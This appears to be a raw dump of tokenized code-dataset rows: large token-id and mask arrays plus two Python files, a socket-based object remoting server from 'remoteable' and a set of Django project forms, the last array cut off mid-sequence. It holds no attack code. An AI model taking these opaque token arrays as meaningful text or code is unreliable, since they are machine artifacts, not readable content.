32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 32768, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 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 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
nivertius/remoteable
server.py
1
3563
import json import logging import uuid from remoteable.command import Command __all__ = ('RemotingActual', 'RemotingHandler', 'RemotingServer', 'ThreadedRemotingServer') class RemotingActual(object): def __init__(self, name, exports = None): self._logger = logging.getLogger("remoting.actual.%s" % name) self._exports = dict(exports or {}) self._references = {} def process(self, data): self._logger.debug("received: %s", data) command = Command.construct(data) response = command.execute(self) serialized = response.serialized() self._logger.debug("response: %s", serialized) return serialized def browse(self): return set(self._exports.keys()) def attach(self, id, remote_name): self.export(self.access(id), remote_name) def export(self, obj, remote_name): self._exports[remote_name] = obj def fetch(self, name): if name not in self._exports: raise KeyError(name) return self.store(self._exports[name]) def store(self, value): id = uuid.uuid4() self._references[id] = value return id def access(self, id): return self._references[id] def release(self, id): del self._references[id] from threading import Thread class RemoteHandler(Thread): def __init__(self, server, client_socket, client_address): Thread.__init__(self) self._logger = logging.getLogger("remoting.handler.%s.%s" % client_address) self._server = server self._socket = client_socket self._logger.info("Starting") def run(self): try: while True: raw = self._socket.recv(65535) if not raw: self._logger.info("Stopping: Client disconnected") break try: data = json.loads(raw) except ValueError: self._logger.info("Stopping: Invalid JSON received") raise result = self._server.process(data) self._socket.send(json.dumps(result)) except socket.error, ex: self._logger.info("Stopping: socket error: %s", ex) except Exception: self._logger.critical("Stopping: Unhandled exception", exc_info = True) self.stop() raise def stop(self): self._socket.shutdown(socket.SHUT_RDWR) def __del__(self): self._socket.close() import socket class RemotingServer(RemotingActual): def __init__(self, server_address, exports = None): RemotingActual.__init__(self, "%s.%s" % server_address, exports or {}) self._socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self._socket.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) self._socket.bind(server_address) self._socket.listen(1) self._handlers = [] def run(self): self._logger.info("Starting") try: while True: connected_socket, connected_address = self._socket.accept() handler = RemoteHandler(self, connected_socket, connected_address) handler.start() self._handlers.append(handler) except socket.error, ex: if ex.errno == 22: # 'Invalid argument' self._logger.info("Stopping: Socket closed") else: self._logger.critical("Stopping: Socket error", exc_info = True) except Exception, ex: self._logger.critical("Stopping: Unhandled exception", exc_info = True) self.stop() raise def stop(self): for handler in self._handlers: handler.stop() self._socket.shutdown(socket.SHUT_RDWR) def __del__(self): self._socket.close() class ThreadedRemotingServer(RemotingServer, Thread): def __init__(self, server_address, exports = None, start = False): Thread.__init__(self, name = 'RemotingServer.%s:%s' % server_address) RemotingServer.__init__(self, server_address, exports or {}) if start: self.start()
bsd-2-clause
[ 199, 646, 2022, 199, 646, 2050, 199, 646, 5377, 199, 199, 504, 3982, 461, 14, 1531, 492, 5817, 199, 199, 363, 452, 363, 275, 661, 497, 77, 15866, 30141, 297, 283, 497, 77, 15866, 2461, 297, 283, 497, 77, 15866, 3120, 297, 283, 31699, 497, 77, 15866, 3120, 358, 199, 199, 533, 799, 77, 15866, 30141, 8, 785, 304, 199, 198, 318, 636, 826, 721, 277, 12, 536, 12, 22609, 275, 488, 304, 507, 198, 277, 423, 2921, 275, 2050, 14, 5572, 480, 13179, 15866, 14, 6514, 4111, 83, 2, 450, 536, 9, 507, 198, 277, 423, 20775, 275, 1211, 8, 20775, 503, 5009, 11083, 198, 277, 423, 12635, 275, 1052, 421, 198, 318, 2112, 8, 277, 12, 666, 304, 507, 198, 277, 423, 2921, 14, 1757, 480, 9226, 26, 450, 83, 401, 666, 9, 507, 198, 1531, 275, 5817, 14, 8514, 8, 576, 9, 507, 198, 1310, 275, 1414, 14, 2526, 8, 277, 9, 507, 198, 8397, 275, 1177, 14, 8397, 342, 507, 198, 277, 423, 2921, 14, 1757, 480, 1310, 26, 450, 83, 401, 6380, 9, 507, 198, 1107, 6380, 421, 198, 318, 19249, 8, 277, 304, 507, 198, 1107, 663, 8, 277, 423, 20775, 14, 1612, 1012, 421, 198, 318, 6554, 8, 277, 12, 1305, 12, 3982, 63, 354, 304, 507, 198, 277, 14, 3790, 8, 277, 14, 2732, 8, 344, 395, 3982, 63, 354, 9, 421, 198, 318, 4843, 8, 277, 12, 1559, 12, 3982, 63, 354, 304, 507, 198, 277, 423, 20775, 59, 3846, 63, 354, 61, 275, 1559, 421, 198, 318, 5267, 8, 277, 12, 536, 304, 507, 198, 692, 536, 440, 315, 291, 423, 20775, 26, 686, 198, 3730, 4067, 8, 354, 9, 507, 198, 1107, 291, 14, 1617, 8, 277, 423, 20775, 59, 354, 566, 421, 198, 318, 3877, 8, 277, 12, 574, 304, 507, 198, 344, 275, 5377, 14, 2580, 20, 342, 507, 198, 277, 423, 12635, 59, 344, 61, 275, 574, 507, 198, 1107, 1305, 421, 198, 318, 2879, 8, 277, 12, 1305, 304, 507, 198, 1107, 291, 423, 12635, 59, 344, 61, 421, 198, 318, 4683, 8, 277, 12, 1305, 304, 507, 198, 2264, 291, 423, 12635, 59, 344, 61, 421, 199, 504, 5796, 492, 11086, 199, 199, 533, 17283, 2461, 8, 4436, 304, 199, 198, 318, 636, 826, 721, 277, 12, 1654, 12, 1890, 63, 3450, 12, 1890, 63, 1562, 304, 507, 198, 4436, 855, 826, 721, 277, 9, 507, 198, 277, 423, 2921, 275, 2050, 14, 5572, 480, 13179, 15866, 14, 2232, 4111, 83, 4111, 83, 2, 450, 1890, 63, 1562, 9, 507, 198, 277, 423, 1000, 275, 1654, 507, 198, 277, 423, 3450, 275, 1890, 63, 3450, 507, 198, 277, 423, 2921, 14, 815, 480, 14139, 531, 421, 198, 318, 1255, 8, 277, 304, 507, 198, 893, 26, 686, 198, 6710, 715, 26, 1585, 198, 1773, 275, 291, 423, 3450, 14, 7637, 8, 26439, 9, 1585, 198, 692, 440, 3066, 26, 1871, 198, 277, 423, 2921, 14, 815, 480, 6293, 4073, 26, 6810, 25602, 531, 1871, 198, 4785, 1585, 198, 893, 26, 1871, 198, 576, 275, 2022, 14, 3640, 8, 1773, 9, 1585, 198, 2590, 1722, 26, 1871, 198, 277, 423, 2921, 14, 815, 480, 6293, 4073, 26, 6378, 4840, 3086, 531, 1871, 198, 3730, 1585, 198, 1099, 275, 291, 423, 1000, 14, 1412, 8, 576, 9, 1585, 198, 277, 423, 3450, 14, 2254, 8, 1001, 14, 4180, 8, 1099, 430, 507, 198, 2590, 2838, 14, 705, 12, 444, 26, 686, 198, 277, 423, 2921, 14, 815, 480, 6293, 4073, 26, 2838, 1125, 26, 450, 83, 401, 444, 9, 507, 198, 2590, 2186, 26, 686, 198, 277, 423, 2921, 14, 13138, 480, 6293, 4073, 26, 1910, 11217, 1919, 401, 3178, 63, 815, 275, 715, 9, 686, 198, 277, 14, 2379, 342, 686, 198, 3730, 421, 198, 318, 3631, 8, 277, 304, 507, 198, 277, 423, 3450, 14, 8831, 8, 3450, 14, 24340, 63, 15543, 6524, 9, 421, 198, 318, 636, 2264, 721, 277, 304, 507, 198, 277, 423, 3450, 14, 1600, 342, 421, 199, 646, 2838, 199, 199, 533, 799, 77, 15866, 3120, 8, 497, 77, 15866, 30141, 304, 199, 198, 318, 636, 826, 721, 277, 12, 1654, 63, 1562, 12, 22609, 275, 488, 304, 507, 198, 497, 77, 15866, 30141, 855, 826, 721, 277, 12, 2071, 83, 4111, 83, 2, 450, 1654, 63, 1562, 12, 22609, 503, 5009, 507, 198, 277, 423, 3450, 275, 2838, 14, 3450, 8, 3450, 14, 5699, 63, 11367, 12, 2838, 14, 9469, 63, 9484, 9, 507, 198, 277, 423, 3450, 14, 27689, 8, 3450, 14, 15096, 63, 17462, 12, 2838, 14, 4118, 63, 907, 4701, 7803, 12, 413, 9, 507, 198, 277, 423, 3450, 14, 3409, 8, 1000, 63, 1562, 9, 507, 198, 277, 423, 3450, 14, 5859, 8, 17, 9, 507, 198, 277, 423, 5586, 275, 942, 421, 198, 318, 1255, 8, 277, 304, 507, 198, 277, 423, 2921, 14, 815, 480, 14139, 531, 507, 198, 893, 26, 686, 198, 6710, 715, 26, 1585, 198, 7113, 63, 3450, 12, 8539, 63, 1562, 275, 291, 423, 3450, 14, 5694, 342, 1585, 198, 2232, 275, 17283, 2461, 8, 277, 12, 8539, 63, 3450, 12, 5264, 9622, 198, 7113, 63, 1562, 9, 1585, 198, 2232, 14, 928, 342, 1585, 198, 277, 423, 5586, 14, 740, 8, 2232, 9, 507, 198, 2590, 2838, 14, 705, 12, 444, 26, 686, 198, 692, 444, 14, 7931, 508, 6928, 26, 327, 283, 3364, 1423, 7, 1585, 198, 277, 423, 2921, 14, 815, 480, 6293, 4073, 26, 17766, 6876, 531, 686, 198, 2836, 26, 1585, 198, 277, 423, 2921, 14, 13138, 480, 6293, 4073, 26, 17766, 1125, 401, 3178, 63, 815, 275, 715, 9, 507, 198, 2590, 2186, 12, 444, 26, 686, 198, 277, 423, 2921, 14, 13138, 480, 6293, 4073, 26, 1910, 11217, 1919, 401, 3178, 63, 815, 275, 715, 9, 686, 198, 277, 14, 2379, 342, 686, 198, 3730, 421, 198, 318, 3631, 8, 277, 304, 507, 198, 509, 3016, 315, 291, 423, 5586, 26, 686, 198, 2232, 14, 2379, 342, 507, 198, 277, 423, 3450, 14, 8831, 8, 3450, 14, 24340, 63, 15543, 6524, 9, 421, 198, 318, 636, 2264, 721, 277, 304, 507, 198, 277, 423, 3450 ]
[ 646, 2022, 199, 646, 2050, 199, 646, 5377, 199, 199, 504, 3982, 461, 14, 1531, 492, 5817, 199, 199, 363, 452, 363, 275, 661, 497, 77, 15866, 30141, 297, 283, 497, 77, 15866, 2461, 297, 283, 497, 77, 15866, 3120, 297, 283, 31699, 497, 77, 15866, 3120, 358, 199, 199, 533, 799, 77, 15866, 30141, 8, 785, 304, 199, 198, 318, 636, 826, 721, 277, 12, 536, 12, 22609, 275, 488, 304, 507, 198, 277, 423, 2921, 275, 2050, 14, 5572, 480, 13179, 15866, 14, 6514, 4111, 83, 2, 450, 536, 9, 507, 198, 277, 423, 20775, 275, 1211, 8, 20775, 503, 5009, 11083, 198, 277, 423, 12635, 275, 1052, 421, 198, 318, 2112, 8, 277, 12, 666, 304, 507, 198, 277, 423, 2921, 14, 1757, 480, 9226, 26, 450, 83, 401, 666, 9, 507, 198, 1531, 275, 5817, 14, 8514, 8, 576, 9, 507, 198, 1310, 275, 1414, 14, 2526, 8, 277, 9, 507, 198, 8397, 275, 1177, 14, 8397, 342, 507, 198, 277, 423, 2921, 14, 1757, 480, 1310, 26, 450, 83, 401, 6380, 9, 507, 198, 1107, 6380, 421, 198, 318, 19249, 8, 277, 304, 507, 198, 1107, 663, 8, 277, 423, 20775, 14, 1612, 1012, 421, 198, 318, 6554, 8, 277, 12, 1305, 12, 3982, 63, 354, 304, 507, 198, 277, 14, 3790, 8, 277, 14, 2732, 8, 344, 395, 3982, 63, 354, 9, 421, 198, 318, 4843, 8, 277, 12, 1559, 12, 3982, 63, 354, 304, 507, 198, 277, 423, 20775, 59, 3846, 63, 354, 61, 275, 1559, 421, 198, 318, 5267, 8, 277, 12, 536, 304, 507, 198, 692, 536, 440, 315, 291, 423, 20775, 26, 686, 198, 3730, 4067, 8, 354, 9, 507, 198, 1107, 291, 14, 1617, 8, 277, 423, 20775, 59, 354, 566, 421, 198, 318, 3877, 8, 277, 12, 574, 304, 507, 198, 344, 275, 5377, 14, 2580, 20, 342, 507, 198, 277, 423, 12635, 59, 344, 61, 275, 574, 507, 198, 1107, 1305, 421, 198, 318, 2879, 8, 277, 12, 1305, 304, 507, 198, 1107, 291, 423, 12635, 59, 344, 61, 421, 198, 318, 4683, 8, 277, 12, 1305, 304, 507, 198, 2264, 291, 423, 12635, 59, 344, 61, 421, 199, 504, 5796, 492, 11086, 199, 199, 533, 17283, 2461, 8, 4436, 304, 199, 198, 318, 636, 826, 721, 277, 12, 1654, 12, 1890, 63, 3450, 12, 1890, 63, 1562, 304, 507, 198, 4436, 855, 826, 721, 277, 9, 507, 198, 277, 423, 2921, 275, 2050, 14, 5572, 480, 13179, 15866, 14, 2232, 4111, 83, 4111, 83, 2, 450, 1890, 63, 1562, 9, 507, 198, 277, 423, 1000, 275, 1654, 507, 198, 277, 423, 3450, 275, 1890, 63, 3450, 507, 198, 277, 423, 2921, 14, 815, 480, 14139, 531, 421, 198, 318, 1255, 8, 277, 304, 507, 198, 893, 26, 686, 198, 6710, 715, 26, 1585, 198, 1773, 275, 291, 423, 3450, 14, 7637, 8, 26439, 9, 1585, 198, 692, 440, 3066, 26, 1871, 198, 277, 423, 2921, 14, 815, 480, 6293, 4073, 26, 6810, 25602, 531, 1871, 198, 4785, 1585, 198, 893, 26, 1871, 198, 576, 275, 2022, 14, 3640, 8, 1773, 9, 1585, 198, 2590, 1722, 26, 1871, 198, 277, 423, 2921, 14, 815, 480, 6293, 4073, 26, 6378, 4840, 3086, 531, 1871, 198, 3730, 1585, 198, 1099, 275, 291, 423, 1000, 14, 1412, 8, 576, 9, 1585, 198, 277, 423, 3450, 14, 2254, 8, 1001, 14, 4180, 8, 1099, 430, 507, 198, 2590, 2838, 14, 705, 12, 444, 26, 686, 198, 277, 423, 2921, 14, 815, 480, 6293, 4073, 26, 2838, 1125, 26, 450, 83, 401, 444, 9, 507, 198, 2590, 2186, 26, 686, 198, 277, 423, 2921, 14, 13138, 480, 6293, 4073, 26, 1910, 11217, 1919, 401, 3178, 63, 815, 275, 715, 9, 686, 198, 277, 14, 2379, 342, 686, 198, 3730, 421, 198, 318, 3631, 8, 277, 304, 507, 198, 277, 423, 3450, 14, 8831, 8, 3450, 14, 24340, 63, 15543, 6524, 9, 421, 198, 318, 636, 2264, 721, 277, 304, 507, 198, 277, 423, 3450, 14, 1600, 342, 421, 199, 646, 2838, 199, 199, 533, 799, 77, 15866, 3120, 8, 497, 77, 15866, 30141, 304, 199, 198, 318, 636, 826, 721, 277, 12, 1654, 63, 1562, 12, 22609, 275, 488, 304, 507, 198, 497, 77, 15866, 30141, 855, 826, 721, 277, 12, 2071, 83, 4111, 83, 2, 450, 1654, 63, 1562, 12, 22609, 503, 5009, 507, 198, 277, 423, 3450, 275, 2838, 14, 3450, 8, 3450, 14, 5699, 63, 11367, 12, 2838, 14, 9469, 63, 9484, 9, 507, 198, 277, 423, 3450, 14, 27689, 8, 3450, 14, 15096, 63, 17462, 12, 2838, 14, 4118, 63, 907, 4701, 7803, 12, 413, 9, 507, 198, 277, 423, 3450, 14, 3409, 8, 1000, 63, 1562, 9, 507, 198, 277, 423, 3450, 14, 5859, 8, 17, 9, 507, 198, 277, 423, 5586, 275, 942, 421, 198, 318, 1255, 8, 277, 304, 507, 198, 277, 423, 2921, 14, 815, 480, 14139, 531, 507, 198, 893, 26, 686, 198, 6710, 715, 26, 1585, 198, 7113, 63, 3450, 12, 8539, 63, 1562, 275, 291, 423, 3450, 14, 5694, 342, 1585, 198, 2232, 275, 17283, 2461, 8, 277, 12, 8539, 63, 3450, 12, 5264, 9622, 198, 7113, 63, 1562, 9, 1585, 198, 2232, 14, 928, 342, 1585, 198, 277, 423, 5586, 14, 740, 8, 2232, 9, 507, 198, 2590, 2838, 14, 705, 12, 444, 26, 686, 198, 692, 444, 14, 7931, 508, 6928, 26, 327, 283, 3364, 1423, 7, 1585, 198, 277, 423, 2921, 14, 815, 480, 6293, 4073, 26, 17766, 6876, 531, 686, 198, 2836, 26, 1585, 198, 277, 423, 2921, 14, 13138, 480, 6293, 4073, 26, 17766, 1125, 401, 3178, 63, 815, 275, 715, 9, 507, 198, 2590, 2186, 12, 444, 26, 686, 198, 277, 423, 2921, 14, 13138, 480, 6293, 4073, 26, 1910, 11217, 1919, 401, 3178, 63, 815, 275, 715, 9, 686, 198, 277, 14, 2379, 342, 686, 198, 3730, 421, 198, 318, 3631, 8, 277, 304, 507, 198, 509, 3016, 315, 291, 423, 5586, 26, 686, 198, 2232, 14, 2379, 342, 507, 198, 277, 423, 3450, 14, 8831, 8, 3450, 14, 24340, 63, 15543, 6524, 9, 421, 198, 318, 636, 2264, 721, 277, 304, 507, 198, 277, 423, 3450, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1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1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
commonwealth-of-puerto-rico/lean
paart/apps/infrastructure/forms.py
2
4611
from __future__ import absolute_import import datetime from django import forms from common.forms import DetailForm, ROFormMixin, Select2FormMixin from .models import (Project, ProjectFile)#, ProjectInfo, ProjectBudget, ProjectFile) class ProjectForm_edit(forms.ModelForm, ROFormMixin): readonly_fields = ('agency',) class Meta: model = Project class ProjectForm_create(forms.ModelForm): class Meta: exclude = ('agency',) model = Project class ProjectForm_view(DetailForm): class Meta: model = Project ''' class ProjectInfoForm_edit(Select2FormMixin, forms.ModelForm, ROFormMixin): readonly_fields = ('project',) def __init__(self, *args, **kwargs): super(self.__class__, self).__init__(*args, **kwargs) self.fields['purpose'].queryset = self.fields['purpose'].queryset.active() self.fields['classification'].queryset = self.fields['classification'].queryset.active() self.fields['department'].queryset = self.fields['department'].queryset.active() self.fields['methodology'].queryset = self.fields['methodology'].queryset.active() self.fields['goals'].queryset = self.fields['goals'].queryset.active() class Meta: model = ProjectInfo class ProjectInfoForm_view(DetailForm): class Meta: model = ProjectInfo class ProjectInfoForm_create(Select2FormMixin, forms.ModelForm): def __init__(self, *args, **kwargs): super(self.__class__, self).__init__(*args, **kwargs) self.fields['purpose'].queryset = self.fields['purpose'].queryset.active() self.fields['classification'].queryset = self.fields['classification'].queryset.active() self.fields['department'].queryset = self.fields['department'].queryset.active() self.fields['methodology'].queryset = self.fields['methodology'].queryset.active() self.fields['goals'].queryset = self.fields['goals'].queryset.active() # Determine the current fiscal year in string form init_year = datetime.datetime.now().year if datetime.datetime.now().month < 7: init_year -= 1 try: # do a lookup for the fiscal year label fiscal_year = self.fields['fiscal_year'].queryset.get(label='%s-%s' % (init_year + 1, init_year + 2)) except self.fields['fiscal_year'].queryset.model.DoesNotExist: pass else: self.fields['fiscal_year'].initial = fiscal_year class Meta: exclude = ('project',) model = ProjectInfo ## Budget class ProjectBudgetForm_edit(forms.ModelForm, ROFormMixin): readonly_fields = ('project',) class Meta: model = ProjectBudget widgets = {'infrastructure': forms.widgets.RadioSelect} class ProjectBudgetForm_view(DetailForm): class Meta: model = ProjectBudget widgets = {'infrastructure': forms.widgets.RadioSelect} class ProjectBudgetForm_create(forms.ModelForm): class Meta: exclude = ('project',) model = ProjectBudget widgets = {'infrastructure': forms.widgets.RadioSelect} ## Details class ProjectDetailsForm_edit(Select2FormMixin, forms.ModelForm, ROFormMixin): readonly_fields = ('project',) def __init__(self, *args, **kwargs): super(self.__class__, self).__init__(*args, **kwargs) self.fields['stage'].queryset = self.fields['stage'].queryset.active() self.fields['priority'].queryset = self.fields['priority'].queryset.active() # self.fields['benefit'].queryset = self.fields['benefit'].queryset.active() # self.fields['topic'].queryset = self.fields['topic'].queryset.active() class Meta: model = ProjectDetails class ProjectDetailsForm_view(DetailForm): class Meta: model = ProjectDetails class ProjectDetailsForm_create(Select2FormMixin, forms.ModelForm): def __init__(self, *args, **kwargs): super(self.__class__, self).__init__(*args, **kwargs) self.fields['stage'].queryset = self.fields['stage'].queryset.active() self.fields['priority'].queryset = self.fields['priority'].queryset.active() # self.fields['benefit'].queryset = self.fields['benefit'].queryset.active() # self.fields['topic'].queryset = self.fields['topic'].queryset.active() class Meta: exclude = ('project',) model = ProjectDetails ''' ## Project files class ProjectFileForm_create(forms.ModelForm): class Meta: exclude = ('project',) #widgets = {'project': forms.widgets.HiddenInput} model = ProjectFile
gpl-3.0
[ 504, 636, 2443, 363, 492, 3679, 63, 646, 199, 199, 646, 2197, 199, 199, 504, 1639, 492, 4513, 199, 199, 504, 2863, 14, 3351, 492, 13302, 2821, 12, 9769, 2821, 4256, 12, 9496, 18, 2821, 4256, 199, 199, 504, 1275, 992, 492, 334, 4761, 12, 7290, 1173, 28017, 12, 7290, 2354, 12, 7290, 34, 1181, 362, 12, 7290, 1173, 9, 421, 199, 533, 7290, 2821, 63, 3773, 8, 3351, 14, 15937, 12, 9769, 2821, 4256, 304, 272, 6863, 63, 955, 275, 661, 643, 9501, 9538, 339, 1021, 6288, 26, 267, 1402, 275, 7290, 421, 199, 533, 7290, 2821, 63, 981, 8, 3351, 14, 15937, 304, 272, 1021, 6288, 26, 267, 5760, 275, 661, 643, 9501, 9538, 267, 1402, 275, 7290, 421, 199, 533, 7290, 2821, 63, 1345, 8, 8064, 2821, 304, 272, 1021, 6288, 26, 267, 1402, 275, 7290, 199, 2344, 199, 199, 533, 7290, 2354, 2821, 63, 3773, 8, 5446, 18, 2821, 4256, 12, 4513, 14, 15937, 12, 9769, 2821, 4256, 304, 272, 6863, 63, 955, 275, 661, 1715, 9538, 339, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 277, 855, 533, 3108, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 955, 459, 22615, 2278, 7924, 275, 291, 14, 955, 459, 22615, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 14368, 2278, 7924, 275, 291, 14, 955, 459, 14368, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 19623, 2278, 7924, 275, 291, 14, 955, 459, 19623, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 765, 7085, 2278, 7924, 275, 291, 14, 955, 459, 765, 7085, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 30970, 2278, 7924, 275, 291, 14, 955, 459, 30970, 2278, 7924, 14, 2682, 342, 339, 1021, 6288, 26, 267, 1402, 275, 7290, 2354, 421, 199, 533, 7290, 2354, 2821, 63, 1345, 8, 8064, 2821, 304, 272, 1021, 6288, 26, 267, 1402, 275, 7290, 2354, 421, 199, 533, 7290, 2354, 2821, 63, 981, 8, 5446, 18, 2821, 4256, 12, 4513, 14, 15937, 304, 272, 347, 636, 826, 721, 277, 12, 627, 589, 12, 1011, 958, 304, 267, 1613, 8, 277, 855, 533, 3108, 291, 2843, 826, 9308, 589, 12, 1011, 958, 9, 267, 291, 14, 955, 459, 22615, 2278, 7924, 275, 291, 14, 955, 459, 22615, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 14368, 2278, 7924, 275, 291, 14, 955, 459, 14368, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 19623, 2278, 7924, 275, 291, 14, 955, 459, 19623, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 765, 7085, 2278, 7924, 275, 291, 14, 955, 459, 765, 7085, 2278, 7924, 14, 2682, 342, 267, 291, 14, 955, 459, 30970, 2278, 7924, 275, 291, 14, 955, 459, 30970, 2278, 7924, 14, 2682, 342, 398, 327, 14703, 314, 1453, 18672, 5361, 315, 1059, 1824, 267, 4205, 63, 3403, 275, 2197, 14, 2083, 14, 2131, 1252, 3403, 267, 340, 2197, 14, 2083, 14, 2131, 1252, 4482, 665, 1520, 26, 288, 4205, 63, 3403, 4862, 413, 398, 862, 26, 288, 327, 886, 282, 4237, 367, 314, 18672, 5361, 1768, 288, 18672, 63, 3403, 275, 291, 14, 955, 459, 18646, 63, 3403, 2278, 7924, 14, 362, 8, 1302, 9569, 83, 3295, 83, 7, 450, 334, 826, 63, 3403, 435, 413, 12, 4205, 63, 3403, 435, 499, 430, 267, 871, 291, 14, 955, 459, 18646, 63, 3403, 2278, 7924, 14, 1238, 14, 7400, 26, 288, 986, 267, 587, 26, 288, 291, 14, 955, 459, 18646, 63, 3403, 2278, 2747, 275, 18672, 63, 3403, 339, 1021, 6288, 26, 267, 5760, 275, 661, 